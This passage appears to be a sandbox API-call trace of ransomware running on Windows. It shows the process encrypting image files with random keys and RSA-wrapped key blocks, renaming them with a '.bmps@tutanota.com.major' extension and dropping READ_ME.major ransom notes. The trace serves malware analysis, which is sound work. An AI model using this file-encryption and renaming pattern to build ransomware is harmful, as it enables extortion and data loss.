lpFileSize=0x2e3f9b8*=221) returned 1 [0151.747] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xdd) returned 0x60fd30 [0151.747] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xdd) returned 0x60ffe8 [0151.747] ReadFile (in: hFile=0x638, lpBuffer=0x60fd30, nNumberOfBytesToRead=0xdd, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60fd30*, lpNumberOfBytesRead=0x2e3f9b4*=0xdd, lpOverlapped=0x0) returned 1 [0151.748] SetFilePointer (in: hFile=0x638, lDistanceToMove=-221, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0151.748] WriteFile (in: hFile=0x638, lpBuffer=0x60ffe8*, nNumberOfBytesToWrite=0xdd, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60ffe8*, lpNumberOfBytesWritten=0x2e3f9b4*=0xdd, lpOverlapped=0x0) returned 1 [0151.748] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60fd30 | out: hHeap=0x570000) returned 1 [0151.748] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60ffe8 | out: hHeap=0x570000) returned 1 [0151.748] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xdd [0151.748] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.748] WriteFile (in: hFile=0x638, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.748] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0151.748] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0151.748] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0151.748] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0151.749] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="cHunUaERjgRJI1NV/gLYOlOQ0MufsatnuwNdJTrtYt4HdWnoH8ouWsAIjAgntriD\n+tV+smiq0HR0GJBAn9yLue4siPIuWvC8U83GX7M2C6O1Bcwr0m2R92UusnDpvSFe\nUBsjgEsn8ksSN5NE/vell6JFZgzEm8lJgxXB7s7fY9uJxPpTOXbh+QruEhSwuCli\naU+npJDMd4k5LI/hx5Z1evn/CM0iui3CZ7CY4Vuc2iv7RCltU6Y4IE5QrZj2WvVD\nvM28UsLSnhf4O95mRaW32WbDsfSqUu0XqcJNpJmnCK3MW9eNkqDarAn80XdQuNMv\nwKSPhQJW0qTUxZQY7L8Igg==\n", pcchString=0x2e3f9a8) returned 1 [0151.749] WriteFile (in: hFile=0x638, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0151.749] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.749] WriteFile (in: hFile=0x638, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.749] CloseHandle (hObject=0x638) returned 1 [0151.749] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0151.749] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\bullet.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\bullet.png"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\bullet.png.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\bullet.png.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0151.832] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0151.832] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccda0 | out: hHeap=0x570000) returned 1 [0151.832] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eda0 | out: hHeap=0x570000) returned 1 [0151.832] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0151.832] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58ef40 [0151.832] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd28 [0151.832] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0151.832] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\bluelogo.png", dwFileAttributes=0x80) returned 1 [0151.833] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58e8c0 [0151.833] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e170 [0151.833] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e8c0 | out: hHeap=0x570000) returned 1 [0151.833] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\bluelogo.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\bluelogo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0151.833] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=7080) returned 1 [0151.833] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1ba8) returned 0x6518a0 [0151.833] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1ba8) returned 0x653450 [0151.833] ReadFile (in: hFile=0x638, lpBuffer=0x6518a0, nNumberOfBytesToRead=0x1ba8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6518a0*, lpNumberOfBytesRead=0x2e3f9b4*=0x1ba8, lpOverlapped=0x0) returned 1 [0151.854] SetFilePointer (in: hFile=0x638, lDistanceToMove=-7080, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0151.854] WriteFile (in: hFile=0x638, lpBuffer=0x653450*, nNumberOfBytesToWrite=0x1ba8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x653450*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1ba8, lpOverlapped=0x0) returned 1 [0151.854] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6518a0 | out: hHeap=0x570000) returned 1 [0151.854] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653450 | out: hHeap=0x570000) returned 1 [0151.854] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1ba8 [0151.854] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.854] WriteFile (in: hFile=0x638, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.854] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0151.854] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0151.855] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0151.855] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0151.855] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="BUFiUbUcTI8CjBGXgtPsiNjrS/1OmCAj+PjBls1MopNbU52vpEUhBAOVxgYNwbF9\n4AxEn0NjVagxD9ssuJFK3gzdQFfCwiPWATRAI5kc0Va5OtU8PHOvAWAH9pU6x5hU\n8bGUIh/W6r4CbWfYgJV08cnnxvIkdlRMXQimxpGfZhf3Pyt0pJ0XdFqxG12tLgOn\ncRhvefQO6RiUHUeQ6DAFLkIcRIWpQYwNuAJblAJmEPeJujElshL9ViC3VxF1fsHd\njwP5xwmF7eHKeaUg3yPX0c3OaEAr2vVFTQx7378v68PowBON408nBJVQsIhuf2Rh\nEZuQTHEIM0Lb7IO8q74LkQ==\n", pcchString=0x2e3f9a8) returned 1 [0151.855] WriteFile (in: hFile=0x638, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0151.855] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.855] WriteFile (in: hFile=0x638, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.855] CloseHandle (hObject=0x638) returned 1 [0151.855] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0151.855] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\bluelogo.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\bluelogo.png"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\bluelogo.png.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\bluelogo.png.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0151.856] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e170 | out: hHeap=0x570000) returned 1 [0151.856] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd28 | out: hHeap=0x570000) returned 1 [0151.856] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ef40 | out: hHeap=0x570000) returned 1 [0151.856] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0151.856] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58e990 [0151.856] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cceb8 [0151.856] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0151.856] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\block.png", dwFileAttributes=0x80) returned 1 [0151.857] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58eb98 [0151.857] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0151.857] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eb98 | out: hHeap=0x570000) returned 1 [0151.857] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\block.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\block.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0151.857] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=919) returned 1 [0151.857] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x397) returned 0x5b5a90 [0151.857] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x397) returned 0x5b5e30 [0151.857] ReadFile (in: hFile=0x638, lpBuffer=0x5b5a90, nNumberOfBytesToRead=0x397, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesRead=0x2e3f9b4*=0x397, lpOverlapped=0x0) returned 1 [0151.870] SetFilePointer (in: hFile=0x638, lDistanceToMove=-919, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0151.870] WriteFile (in: hFile=0x638, lpBuffer=0x5b5e30*, nNumberOfBytesToWrite=0x397, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5e30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x397, lpOverlapped=0x0) returned 1 [0151.871] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0151.871] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5e30 | out: hHeap=0x570000) returned 1 [0151.871] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x397 [0151.871] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.871] WriteFile (in: hFile=0x638, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.871] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0151.871] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0151.871] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0151.871] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0151.871] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="5yBWej9zY0uWdhh0LiI6xE+JSb0146ZmYNP9ahIIGeh6UkGcfry+MlQbG3ea8QKv\nDWvy96NgU2qCX0O9CoQbmfxL8u9ZoZhcq+KMipO6+gy9t/SeUdJLoeMy9xm5+Aev\nPicGl3iDf9NO40xem76Qwse8BRGJ1uqYlg0LfQ0QWHX6QQ41imkouss+yp5ofjMZ\ntClf6KTs5fQRUAoeI0bk3jzsESOL71kWtio0N+nDG0/5dUBQEdThAvc8iKBjPg0c\nNGnJ8pWLDpRolX8CQpBfh4xNJHCPZZmg6iG6SWDqgrMr3bhPC5qVpANpelJxSYG6\n54yCd3qqqYp4cNU7Zwy+Eg==\n", pcchString=0x2e3f9a8) returned 1 [0151.871] WriteFile (in: hFile=0x638, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0151.871] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.871] WriteFile (in: hFile=0x638, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.871] CloseHandle (hObject=0x638) returned 1 [0151.871] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0151.871] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\block.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\block.png"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\block.png.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\block.png.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0151.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0151.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cceb8 | out: hHeap=0x570000) returned 1 [0151.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e990 | out: hHeap=0x570000) returned 1 [0151.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6368 | out: hHeap=0x570000) returned 1 [0151.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c78d0 [0151.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0151.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x570000) returned 1 [0151.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1068 | out: hHeap=0x570000) returned 1 [0151.873] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Adobe\\ARM\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x28e82a8b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x157bb521, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x630c40 [0151.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0151.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7960 [0151.873] GetLastError () returned 0x0 [0151.873] SetLastError (dwErrCode=0x0) [0151.873] GetLastError () returned 0x0 [0151.873] SetLastError (dwErrCode=0x0) [0151.873] GetLastError () returned 0x0 [0151.873] SetLastError (dwErrCode=0x0) [0151.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0151.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bee18 [0151.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee18 | out: hHeap=0x570000) returned 1 [0151.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdc8 [0151.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630c00 [0151.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630c00 | out: hHeap=0x570000) returned 1 [0151.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40390 [0151.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40390 | out: hHeap=0x570000) returned 1 [0151.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdc8 | out: hHeap=0x570000) returned 1 [0151.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0151.874] FindNextFileW (in: hFindFile=0x630c40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x28e82a8b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x157bb521, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0151.874] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7960 | out: hHeap=0x570000) returned 1 [0151.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7a80 [0151.874] GetLastError () returned 0x0 [0151.874] SetLastError (dwErrCode=0x0) [0151.874] GetLastError () returned 0x0 [0151.874] SetLastError (dwErrCode=0x0) [0151.874] GetLastError () returned 0x0 [0151.874] SetLastError (dwErrCode=0x0) [0151.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0151.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bee18 [0151.874] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee18 | out: hHeap=0x570000) returned 1 [0151.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf80 [0151.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630b80 [0151.874] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630b80 | out: hHeap=0x570000) returned 1 [0151.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40588 [0151.874] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40588 | out: hHeap=0x570000) returned 1 [0151.874] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf80 | out: hHeap=0x570000) returned 1 [0151.874] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0151.874] FindNextFileW (in: hFindFile=0x630c40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x53050818, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xfb2ddff7, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x3268450e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Reader_15.007.20033", cAlternateFileName="READER~1.200")) returned 1 [0151.874] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7a80 | out: hHeap=0x570000) returned 1 [0151.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7918 [0151.874] GetLastError () returned 0x0 [0151.874] SetLastError (dwErrCode=0x0) [0151.874] GetLastError () returned 0x0 [0151.874] SetLastError (dwErrCode=0x0) [0151.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0151.874] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7918 | out: hHeap=0x570000) returned 1 [0151.874] GetLastError () returned 0x0 [0151.874] SetLastError (dwErrCode=0x0) [0151.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0151.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40f0 [0151.874] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0151.874] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40f0 | out: hHeap=0x570000) returned 1 [0151.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58e928 [0151.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf58 [0151.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58ef40 [0151.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0151.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d350 [0151.875] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7c30 [0151.875] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0151.875] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7c30 | out: hHeap=0x570000) returned 1 [0151.875] GetLastError () returned 0x0 [0151.875] SetLastError (dwErrCode=0x0) [0151.875] GetLastError () returned 0x0 [0151.875] SetLastError (dwErrCode=0x0) [0151.875] GetLastError () returned 0x0 [0151.875] SetLastError (dwErrCode=0x0) [0151.875] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0151.875] CreateFileW (lpFileName="\\Users\\All Users\\Adobe\\ARM\\Reader_15.007.20033\\READ_ME.major" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_15.007.20033\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x63c [0151.876] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0151.876] WriteFile (in: hFile=0x63c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0151.877] CloseHandle (hObject=0x63c) returned 1 [0151.877] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0151.877] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d350 | out: hHeap=0x570000) returned 1 [0151.877] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0151.877] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ef40 | out: hHeap=0x570000) returned 1 [0151.877] FindNextFileW (in: hFindFile=0x630c40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xa7140105, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xa7140105, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Reader_15.023.20070", cAlternateFileName="READER~2.200")) returned 1 [0151.877] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0151.877] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7b10 [0151.877] GetLastError () returned 0x0 [0151.877] SetLastError (dwErrCode=0x0) [0151.877] GetLastError () returned 0x0 [0151.877] SetLastError 